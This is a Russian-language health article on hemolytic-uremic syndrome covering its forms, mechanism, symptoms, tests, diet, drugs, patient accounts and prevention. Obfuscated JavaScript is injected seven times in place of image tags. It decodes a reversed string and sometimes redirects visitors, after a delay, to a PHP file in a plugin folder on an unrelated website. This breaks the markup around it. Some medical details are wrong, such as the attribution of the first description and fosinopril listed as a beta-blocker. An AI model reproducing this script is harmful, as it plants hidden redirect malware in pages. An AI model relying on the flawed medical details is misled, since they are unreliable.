Гемолитико-уремический синдром (болезнь Гассера): основные клинические аспекты

При современном ритме человеческой жизни времени для принятия пищи остаётся всё меньше и меньше. Зачастую мы пищу не готовим сами, предпочитаем использовать полуфабрикаты или уже готовые к употреблению продукты. По причине спешки ингредиенты не всегда оказываются в нужной степени термически обработанными. После их употребления в пищу нередки случаи расстройства пищеварения. Наряду со знакомыми всем симптомами кишечной инфекции в ряде случаев развивается грозное осложнение — гемолитико-уремический синдром.

Определение болезни Гассера

Гемолитико-уремический синдром (ГУС) представляет собой сочетание трёх важнейших симптомов:

• нехватка в крови красных телец (анемия);

• нехватка в крови клеток свёртывания (тромбоцитопения);

• нарушение функции почек;

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/pochka.jpg» alt=»Почка» width=»500″ height=»341″ /> Строение почки

Синонимы гемолитико-уремического синдрома: болезнь Гассера, ГУС. Впервые заболевание было описано американским физиологом Гербертом Спенсером Гассером в 1955 году.

Классификация заболевания

ГУС в зависимости от причины возникновения подразделяется на группы:

1. Типичный, развивающийся на фоне инфекции, вызванной кишечной палочной Эшерихией коли особого вида (более 90% случаев).

2. Атипичный (10% случаев), который в свою очередь подразделяется:

   • вторичный, развивающийся на фоне стрептококковой инфекции, ВИЧ-инфекции,
   • ГУС на фоне системных заболеваний соединительной ткани, онкологического процесса;
   • заболевание на фоне приёма лекарственных препаратов (циклоспорин, хинин);
   • генетически обусловленный (наследственный) тип, для развития которого необходимо определённое сочетание полученных от родителей генов;

Заболевание наиболее часто встречается среди детей от четырёх месяцев до пяти лет на фоне развития кишечной инфекции. Для взрослых характерно протекание заболевания в атипичной форме, в том числе прибеременности.

Механизм развития гемолитико-уремического синдрома

В типичном случае гемолитико-уремический синдром развивается на шестые сутки заболевания инфекцией, вызванной Эшерихией Коли (эшерихиоз). Микроорганизм кишечная палочка особого подвида за время нахождения в организме вырабатывает большое количество вредных веществ (токсинов). Они в первую очередь нацелены на поражение тонкой стенки сосудов органа, который содержит их в огромном количестве — почки. В результате внутри просвета повреждённого сосудистого русла возникает множество кровяных сгустков. На построение последних уходит множество кровяных пластинок — тромбоцитов. В результате уменьшается количество этих клеток крови, свободно циркулирующих в сосудистом русле. Таким образом возникает первый признак гемолитико-уремического синдрома — тромбоцитопения.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/gemolitiko-uremicheskiy-sindrom.jpg» alt=»Гемолитико-уремический синдром, типичная форма» width=»650″ height=»300″ /> Механизм развития типичной формы гемолитико-уремического синдрома

В норме через почечную сосудистую систему за пять минут проходит весь объем крови, циркулирующий в организме человека. Сформированные внутри просвета сосудов почек тромбы — причина травмирования главных клеток крови, переносящих кислород — эритроцитов. Точкой приложения повреждающего фактора является хрупкая оболочка этих клеток, которая разрывается, выбрасывая своё содержимое в кровоток. Подобное разрушение клеток называется гемолизом. С течением заболевания количество эритроцитов, способных переносить кислород, становится всё меньше и меньше. Возникает гемолитическая анемия, второй значимый критерий для диагностики гемолитико-уремического синдрома.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/tromb-v-prosvete-sosuda.jpg» alt=»Тромб в просвете сосуда» width=»300″ height=»300″ /> Образование тромба в сосудах — главный фактор развития гемолитико-уремического синдрома

Вышеописанное поражение сосудов приводит к тому, что почки оказываются неспособными производить мочу. Её количество, выделяемое организмом за сутки, резко уменьшается (олигурия), что приводит к неспособности почек очистить кровь от вредных продуктов белкового обмена. Развивается почечная недостаточность — третий критерий диагностики гемолитико-уремического синдрома.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/povrezhdennye-eritrocity-pod-mikroskopom-728×545.jpg» alt=»Поврежденные эритроциты под микроскопом» width=»728″ height=»545″ /> Вид поврежденных эритроцитов под микросопом 9гемолиз)

Факторами развития гемолитико-уремического синдрома являются:

• недостаточная кулинарная обработка говядины, заражённой кишечной палочкой;

• загрязнение воды естественных водоёмов и плавательных бассейнов;

• некипяченое коровье молоко;

• немытые овощи и фрукты;

• немытые руки;

• передача возбудителя от больного человека здоровому;

• приём оральных контрацептивов;

• беременность;

Клинические аспекты кишечных инфекций — видео

Клиническая картина заболевания

Для кишечной инфекции, предшествующей развитию гемолитико-уремического синдрома, характерны тошнота, рвота, жидкий стул с примесью крови, боль в животе, повышение температуры.

Гемолитико-уремический синдром начинается остро обычно не ранее шестых суток от момента появления первых симптомов, когда последние уже идут на спад. Характерны следующие проявления:

• бледность кожных покровов;

• желтушность склер и слизистых оболочек;

• уменьшение количества мочи, выделяемой за сутки (олигурия);

• повышение артериального давления;

• мелкоточечные кровоизлияния;

• раздражительность;

• заторможенность;

Методы диагностики заболевания

• в общем анализе крови отмечается снижение красных кровяных телец (эритроцитов) и кровяных пластинок (тромбоцитов), повышение белых телец (лейкоцитов);

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/eritrocity-728×534.jpg» alt=»Эритроциты» width=»728″ height=»534″ /> Красные клетки крови — эритроциты

• в биохимическом анализе крови определяется высокий уровень продуктов белкового обмена — мочевины, креатинина, возможно повышение уровня сахара (вторичный диабет);

• в анализе крови на содержание электролитов повышен уровень калия;

• в общем анализе мочи обнаруживаются красные кровяные тельца (гематурия) и белок (протеинурия);

• для подтверждения эшерихиоза как причины гемолитико-уремического синдрома используют исследование кала на наличие патогенного микроорганизма — кишечной палочки особого вида;

Дифференциальная диагностика проводится со следующими заболеваниями:

• аппендицит;

• кишечная колика;

• перфорация кишечника;

• тромбоцитопеническая пурпура;

Лечебные мероприятия при гемолитико-уремическом синдроме

Лечение гемолитико-уремического синдрома проводится в условиях стационара врачом-инфекционистом (при типичной форме ГУС) или терапевтом (при атипичной форме ГУС) с соблюдением постельного режима. Необходимо соблюдать диету.

Разрешённые к употреблению продукты при гемолитико-уремическом синдроме:

• овощи свежие и термически обработанные;

• овощные супы;

• ягоды и фрукты;

• кисели;

• кисломолочные продукты;

• некрепкий чай и кофе;

Продукты, разрешённые к употреблению при ГУС

Продукты, употребления которых следует избегать:

• шоколад;

• острые специи;

• поваренная соль;

• лук и чеснок;

• копчёности и колбасы;

• бобовые;

• грибы;

• мясные бульоны;

• бананы;

• орехи;

• творог;

• субпродукты;

Продукты, запрещённые при ГУС

Для лечения заболевания используются:

• для восполнения потерь жидкости и электролитов при кишечной инфекции — Натрия хлорид;

• для восполнения количества эритроцитов при тяжёлой анемии — переливание компонентов крови;

• для стабилизации сосудистой стентки — Курантил;

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/kurantil-728×450.png» alt=»Курантил» width=»728″ height=»450″ /> Препарат для лечения гемолитико-уремического синдрома — Курантил

• витаминотерапия — Витамин А, Е, Аскорутин;

• для лечения гипертонии бета-блокаторы — Конкор, Метопролол, Фозиноприл;

• при высоком уровне сахара в крови — Инсулин;

• при развитии тяжёлой почечной недостаточности — гемодиализ (очищение крови от токсинов с помощью специального аппарата);

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/gemodializ.jpg» alt=»Гемодиализ» width=»447″ height=»718″ /> основной способ лечения гемолитико-уремического синдрома — гемодиализ

Для лечения нетипичных форм гемолитико-уремического синдрома используется очищение жидкой составляющей крови — плазмы с помощью специально аппарата (плазмаферез). Лечение антибиотиками нецелесообразно, поскольку их применение увеличивает вероятность развития заболевания.

Физиотерапевтические мероприятия, хирургические вмешательства, народные средства не применяются.

Отзывы о лечении гемолитико-уремического синдрома

Мы перенесли ГУС 3 месяца назад. Страшная болезнь. ГУС — очень редкое заболевание, по всей стране несколько случаев в год бывает. Так что мы «везунчики». Мы сейчас на диете (считаю белки), соль нельзя и принимаем препараты от повышенного давления постоянно (давление высокое). Вот записались на комиссию по инвалидности. Мы 3 недели лежали в реанимации, потом 4 дня в нефрологии/и выписались. У нас не писал дней 10 в общем, потом понемногу, потом побольше стал.

Диагноз поставили сразу, и лечили нормально, только диализ 5 раз меняли. Мне сказали 2 года строгой диеты, и не каких гостей, контроль АД.

Мой ребёнок находится в реанимации в тяжёлом состоянии со страшным и редким диагнозом гемолитико-уремический синдром (ГУС). За год всего 3–4 случая, в 2015 году мы первые. Ребёнку сегодня четвёртый раз будут делать плазмообмен. В нём 2 катетера — под ключицей и в бедре. Мочится так же через катетер. На сегодняшний день почки работают, но слабо и кровоток скудный…

Врачи отделения спасли нас, огромное им спасибо, но предстоит ещё долгий восстановительный период.

Прогноз и осложнения

При гемолитико-уремическом синдроме возможно развитие следующих осложнений:

• образование камней в жёлчных путях;

• эпилептические приступы

• кома;

• инсульт;

• воспаление сердечной мышцы — миокардит;

• поражение поджелудочной железы — сахарный диабет;

Прогноз лечения зависит от причины, вызвавшей заболевание. Сроки нахождения в стационаре индивидуальны и зависят от тяжести гемолитико-уремического синдрома. При стойком нарушении функции почек специальная медицинская комиссия присваивает инвалидность.

Прогноз лечения при гемолитико-уремическом синдроме

При типичной форме летальность при гемолитико-уремическом синдроме составляет 5%, при атипичной форме достигает 70%.

Профилактика

Профилактические мероприятия существуют только для типичной формы гемолитико-уремического синдрома и подразумевают соблюдение следующих правил:

• не купаться в неизвестных водоёмах;

• пить очищенную воду;

• при приготовлении говядины соблюдать время термической обработки продукта;

• тщательно мыть овощи и фрукты;

• тщательно мыть руки;

Расстройства пищеварения могут сопровождаться грозным осложнением — развитием гемолитико-уремического синдрома с поражением системы крови и функции почек. В этом случае заниматься самолечением не рекомендуется, терапия осуществляется только под наблюдением врача, что позволит сохранить жизнь и избежать тяжёлых последствий для здоровья в будущем.

Похожие записи:

Нефротический и нефритический синдром: особенности проявления и диагностики

Синдром Альпорта: многогранная наследственная болезнь

Опасная болезнь головного мозга: бульбарный синдром